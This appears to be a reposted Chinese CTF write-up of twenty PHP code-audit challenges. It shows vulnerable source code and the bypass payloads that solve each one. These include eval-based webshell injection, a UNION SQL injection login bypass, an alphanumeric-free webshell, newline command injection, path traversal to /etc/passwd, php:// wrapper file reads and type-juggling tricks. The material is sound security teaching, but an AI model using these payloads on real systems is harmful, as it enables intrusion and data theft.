PHP_Code_challenge(代碼審計)


challenge 1

源碼

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
<?php

error_reporting(0);
require __DIR__.'/lib.php';

echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

highlight_file(__FILE__);

python腳本

import base64
import binascii
def strrev(string):
    return string[::-1]
a="1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY="
b=binascii.a2b_hex(strrev(binascii.b2a_hex(base64.b64decode(a))))
print (b)

binascii模塊用來進行進制和字符串之間的轉換
base64模塊是用來作base64編碼解碼
[::-1]取反,這里-1為步長

challenge 2

源碼

 <?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
    if(!is_numeric($_GET['time'])){
        echo 'The time must be number.';
    }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
        echo 'This time is too short.';
    }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
        echo 'This time is too long.';
    }else{
        sleep((int)$_GET['time']);
        echo $flag;
    }
    echo '<hr>';
}
highlight_file(__FILE__); 

sleep() 函數用來推遲調用線程的運行
(int)強轉換,可以用科學記數法繞過

challenge 3

源碼

<?php
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';
if(!$_GET['id'])
{
    header('Location: challenge3.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    echo $flag;
}
else
{
    print "work harder!harder!harder!";
}
?>

a-->

①不存在'.'號或'.'號再開頭;

$data = @file_get_contents($a,'r');把a寫入字符串中要為1112 is a nice lab!

b-->

①長度大於五

②截取b的第一位和111拼接能和1114匹配

③b的第一位不為4

id-->

①不為0或NULL(不為空)

②弱等於0

a: $a=php://input; post:1112 is a nice lab!
b: %00截斷,%00截斷對substr有效,對strlen無效(即%00不會對strlen截斷)
php弱類型比較,數字與字符串等值比較時,字符串取開頭的有效數字,無則為0

challenge 4

源碼

<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);"); 

構造一句話木馬 ?hello=);eval($_POST[value]);%23
當var_dump($a);后的結果為:string(22) ");eval($_POST[value]);#"
eval("string(23) ");eval($_POST[value]);//"");

PHP對於雙引號包裹起來的字符串要進行掃描計算,單引號則不管內容如何都會原樣輸出而不會進行計算。

challenge 5

源碼

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else{
	echo '<p>Login first!</p>';
?>

sha1無法處理數組,因此可構造數組繞過,數組傳入結果為NULL

challenge 6

源碼

<?php
if($_POST[user] && $_POST[pass]) {
	$conn = mysql_connect("********", "*****", "********");
	mysql_select_db("challenges") or die("Could not select database");
	if ($conn->connect_error) {
		die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pwd from interest where uname='$user'";
$query = mysql_query($sql);
if (!$query) {
	printf("Error: %s\n", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pwd"];
  if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
	echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
  }
}
?>

聯合查詢注入漏洞,構造 username=-1'union select"md5(123)"#&pass=123

challenge 7

源碼

<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")  # 要為POST
     die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
    die($_403);
foreach ($_GET as $key => $value)
    $$key = $$value;
foreach ($_POST as $key => $value)
    $$key = $value;
if ( $_POST["flag"] !== $flag )
    die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);

可在flag被修改之前,先將flag覆蓋
程序執行順序foreach ($_GET as $key => $value) 比 foreach ($_POST as $key => $value)先執行,因此可利用foreach ($_GET as $key => $value) 將flag覆蓋

$$key = $$value 看到這個,想到變量覆蓋

challenge 8

源碼

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
    show_source(__FILE__);
    die();
#需要GET一個變量c
}
function rand_string( $length ) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    $size = strlen( $chars );
    $str = '';
    for( $i = 0; $i < $length; $i++)
   {
       $str .= $chars[ rand( 0, $size - 1 ) ];
   }
    return $str;
}
#生成$length長度的隨機字符串
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
    if (stripos($data, $b) !== false){
        die("WAF!");
    }
}
#變量c不能含有$black_list數組中的元素
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
    echo "<a href='".$full_filename."'>WebShell</a></br>";
    echo "Enjoy your webshell~";
}else{
    echo "Some thing wrong...";
}
?>

這題考察的是構造無字母數字Webshell,有點暈,附文章先學習一波

https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.freebuf.com/articles/web/186298.html

在PHP中,如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為Array
system()—執行shell命令也就是向dos發送一條指令
cat命令可以用來查看文件內容

#Array #ArrayArray #Arrayasd
<?php
$_=[].[];
$__='';
$_=$_[''];
$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // E
$_=++$_;$_=++$_;
$__=$_.$__; // GE
$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // GET
var_dump(${'_'.$__}[_](${'_'.$__}[__])); // $_GET['_']($_GET['__']);

c=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b

寫入full_filename,成功上傳webshell,命令執行?_=system&__=cat%20../flag.php

system(cat%20../flag.php)

challenge 9

源碼

<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}
show_source(__FILE__);

可以看到基本上的命令分隔符都被過濾了,可以可以換行(%0a)繞過

多條命令設置在同一個快捷鍵時,需要注意命令分隔符的使用

$cmd = shell_exec( 'ping  -c 4 ' . $target );
Payload: ?ip=127.0.0.1%0als

cat命令可以用來查看文件內容?ip=127.0.0.1%0acat flag.php

trim() 函數移除字符串兩側的空白字符或其他預定義字符。

命令分隔符

linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一個神奇的角色,作為.bat文件中的命令分隔符)

空格可以用以下字符串代替

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

challenge 10

源碼

<?php 
require __DIR__.'/flag.php';
if (isset($_POST['answer'])){ 
    $number = $_POST['answer']; 
    if (noother_says_correct($number)){ 
        echo $flag; 
    }  else { 
        echo "Sorry"; 
    } 
} 

function noother_says_correct($number) 
{ 
    $one = ord('1');  #ord() 函數:返回字符串的首個字符的 ASCII 值
    $nine = ord('9'); 
    # Check all the input characters! 
    for ($i = 0; $i < strlen($number); $i++) 
    { 
        # Disallow all the digits! 
        $digit = ord($number{$i}); 
        if ( ($digit >= $one) && ($digit <= $nine) ) 
        { 
            # Aha, digit not allowed! 
            return false; 
        } 
        #要求傳入的每一個值都不能大於等於1小於等於9
    } 
    # Allow the magic number ... 
    return $number == "3735929054"; #弱類型比較
} 

highlight_file(__FILE__);
?>

需要POST一個不含1-9數字的,且與3735929054等值的字符串

十六進制弱類型比較

十六進制:(0x)deadc0de

八進制:0+

challenge 11

源碼

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}# 輸入的必須為數字或字母
eval("var_dump($$a);");
show_source(__FILE__);
?>

var_dump($$a)中存在$$a,可以輸出對應的變量值,即flag,但前提是需要知道flag的變量名,可利用$GLOBALS,https://www.cnblogs.com/NPFS/p/12721175.html

challenge 12

源碼

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

做法類似challenge 4

var_dump($a)可考慮命令執行,構造?hello=);var_dump(file("flag.php"));//
var_dump($a); ----> var_dump();var_dump(file("flag.php"));//);

challenge 13

源碼

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}  //120秒之后銷毀會話

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');  //range創建一個包含從 "a" 到 "z" 之間的元素范圍的數組
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; //生成兩個隨機字母

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
} //當whoami=value時,num+1,whoami=$str_rands;==弱類型比較

if($_SESSION['nums']>=10){
  echo $flag;
}  //循環10次輸出flag

show_source(__FILE__);
?>

120秒直接手工傳參,傳十次就得到flag了

也可以寫個腳本

import requests
url='http://XXX'
a=requests.Session()
b=a.get(url+'?value[]=ea').text
for i in range(10):
    b=a.get(url+'?value[]='+ b[0:2]).text  //這里的b[0:2]是獲取讀取的源代碼的前兩個字符,因為手工傳一次`?value[]=ea`后可以發現,新的隨機數在源碼最前面  
    print(b)

challenge 14

源碼

 <?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}
PHP logo

在linux文件/etc/passwd中包含用戶名、用戶[ID]、用戶群組[ID]、用戶描述信息、家目錄以及登錄shell
?path=../../../../etc/passwd
allow_url_include打開着,使用php://input協議,post傳遞參數,可以發現flag.php

直接使用php://filter/read=convert.base64-encode/resource=flag.php讀取文件內容
也可以繼續使用php://input協議,post傳遞參數

challenge 15

源碼

<?php
if(isset($_GET) && !empty($_GET)){        #存在GET且不為空
    $url = $_GET['file'];
    $path = 'upload/'.$_GET['path'];    #拼接路徑
}else{
    show_source(__FILE__);
    exit();
}
 
if(strpos($path,'..') > -1){    # $path中不含..
    die('SYCwaf!');
}
 
if(strpos($url,'http://127.0.0.1/') === 0){          #$file變量中 http://127.0.0.1/ 存 在且為開頭
    file_put_contents($path, file_get_contents($url));   #讀取$url內容並寫入$path
    echo "console.log($path update successed!)";   # 在控制台輸出$path update successed!
}else{
    echo "Hello.Geeker";
}

我拿phpinfo做了下測試,之前以為

http://XXX/?path=shell.php&file=http://127.0.0.1/?path=&file=http://127.0.0.1/

里面的

file=http://127.0.0.1/?path=&file=http://127.0.0.1/(這里url需要二次編碼,因為訪問了兩次)

寫入到shell.php文件里面后就和題目的源碼獨立出來了,后來改改參數測試了下發現並沒有,然后一切問題迎刃而解。

這個題目要的就是把shell.php構造為一個webshell,通過用URL請求這個webshell的頁面並寫入到path文件

URL二層嵌套,這兩層都需要符合題目要求,即$path中不含.. $file變量中 http://127.0.0.1/ 存在 且為開頭所以很容易就可以構造出可以繞過的payload

challenge 16

源碼

<?php  
if (isset($_POST["submit"]))    
{
  if (isset($_POST['hihi']))   # POST方式提交submit和hihi
  {
    if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE)  #hihi里只存在字母和數字
    {
      exit('<script>alert("have fun:)")</script>');
    }
    elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999) # hihi長度小   於11且數值大於999999999
    {
      if (strpos($_POST['hihi'], '#HONG#') !== FALSE)    #hihi中存在#HONG#
      {
        if (!is_array($_POST['hihi'])) {                  #hihi不為數組
        include("flag.php");
        echo "Congratulations! FLAG is : ".$flag;
        }
        else
      {
        exit('<script>alert("nonono")</script>');
      }
      }
      else
      {
        exit('<script>alert("nonono")</script>');
      }
    }
    else
    {
      exit('<script>alert("sorry")</script>');
    }
  }
}
show_source(__FILE__);
?>
submit=1&hihi=9e9%00#HONG#

challenge 17

源碼

<?php
header("Content-type: text/html; charset=utf-8");
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;        # 存在^_^
if (ereg ('\.', $_GET['^_^'])) $smile = 0;     # 不存在\.
if (ereg ('%', $_GET['^_^'])) $smile = 0;         # 不存在%
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;      # 不存在數字
if (ereg ('http', $_GET['^_^']) ) $smile = 0;      # 不存在http
if (ereg ('https', $_GET['^_^']) ) $smile = 0;     
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;  #url ?后面不存在_
if ($smile) {
    if (@file_exists ($_GET['^_^'])) $smile = 0;   # 不存在file_exists尋找的文件
}
if (1) {
    $smile = @file_get_contents ($_GET['^_^']);
    if ($smile === "(●'◡'●)") die($flag);
}
show_source(__FILE__);
?>

$_SERVER['QUERY_STRING']

搜索引擎會忽略下划線的存在
.[]之類的符號作為參數的key的時候,會被PHP改寫為_
file_exists對data指向的內容判斷為不存在
$_SERVER['QUERY_STRING']:QUERY_STRING就是URL后接的參數,如www.baidu.com/?a=B,a=B就是QUERY_STRING

"data"類型的Url格式,目的對於一些“小”的數據,可以在網頁中直接嵌入,而不是從外部文件載入。

challenge 18

源碼

<?php
header("Content-type: text/html; charset=utf-8"); 
    if(isset($_POST['login']))             #存在login
     {
        if(isset($_POST['user']))               #存在user
        {
            if(@strcmp($_POST['user'],$USER))//USER是被隱藏的復雜用戶名     #比較大小
            {
                die('user錯誤!');
            }
        }
        if (isset($_POST['name']) && isset($_POST['password']))     #存在name和password
        {
            if ($_POST['name'] == $_POST['password'] )     #弱等於
            {
                die('賬號密碼不能一致!');
            }
            if (md5($_POST['name']) === md5($_POST['password']))     #md5強等於
            {
                if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
                {
                        if($_POST['id']==72)
                            die("flag{xxxxxxxxxxxxx}");
                        else
                            die("ID錯誤2!");
                }
                else
                {
                    die("ID錯誤1!");
                }
            }
            else
                die('賬號密碼錯誤!');
        }
     }
 ?>

72. 是數字字符串
MD5不能處理數組,處理任意數組返回值都相同
MD5每一個以0E開頭的哈希值都解釋為0
strcmp函數用於比較兩個字符串並根據比較結果返回整數,可改成數據類型繞過

challenge 19

源碼

<?php
error_reporting(0);
require_once('flag.php');
if(!isset($_GET['sss'])){
    show_source('challenge19.php');
    die();
}
$sss=$_GET['sss'];
if(strlen($sss)==666){            #長度等於666
    if(!preg_match("/[^0-6]/",$sss)){     #只能存在0-6的數字 
        eval('$sss='.$sss.';');
        if($sss!=='0x666'){      #這里的0x是十六進制的意思
            if($sss=='0x666'){     # $sss 的值需要等於數值 0×666,而又不能等於字符串’0×666′,
                echo $flag;
            }
        }
    }
}
?>

需要創建一個長度為 666 ,只包含0 — 6的數字,數值上等於 0×666且不等於字符串 ’0×666′的參數,十六進制666轉換可以發現八進制時在數字0-6之間

1、十六進制:0x開頭
2、八進制:0開頭
3、二進制:0b開頭

challenge 20

源碼

 <?php
require_once('flag.php');
if(empty($_GET['user']))
	die(show_source(__FILE__));
$user = ['admin', 'xxoo'];              #$user 是一個數組, [0 => ‘admin’, 1 => ‘xxoo’]
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
    echo $flag;
}
?>

➜ ~ php -r "var_dump([1=>0]==[1=>0]);"
bool(true)

➜ ~ php -r "var_dump([1=>0]===[1=>0]);"
bool(true)

➜ ~ php -r "var_dump([1=>0]==[2=>0]);"
bool(false)

➜ ~ php -r "var_dump([1=>0]===[2=>0]);"
bool(false)

➜ ~ php -r "var_dump([0 => 0] === [0x100000000 => 0]);" #鍵名為 0 與0x100000000` 數組相等
bool(true)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM